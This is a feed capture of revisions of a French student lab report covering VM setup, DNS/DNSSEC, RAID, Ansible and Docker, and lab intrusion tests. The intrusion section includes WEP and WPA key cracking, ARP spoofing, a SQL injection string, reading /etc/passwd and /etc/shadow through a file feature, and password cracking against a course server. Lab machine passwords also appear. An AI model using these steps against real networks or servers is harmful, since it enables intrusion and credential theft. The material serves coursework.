		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55178"/>
				<updated>2020-12-22T14:38:31Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* TP ASR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;br /&gt;
&lt;br /&gt;
===Equilibreur de charge===&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55177</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55177"/>
				<updated>2020-12-22T14:38:05Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Configuration des serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
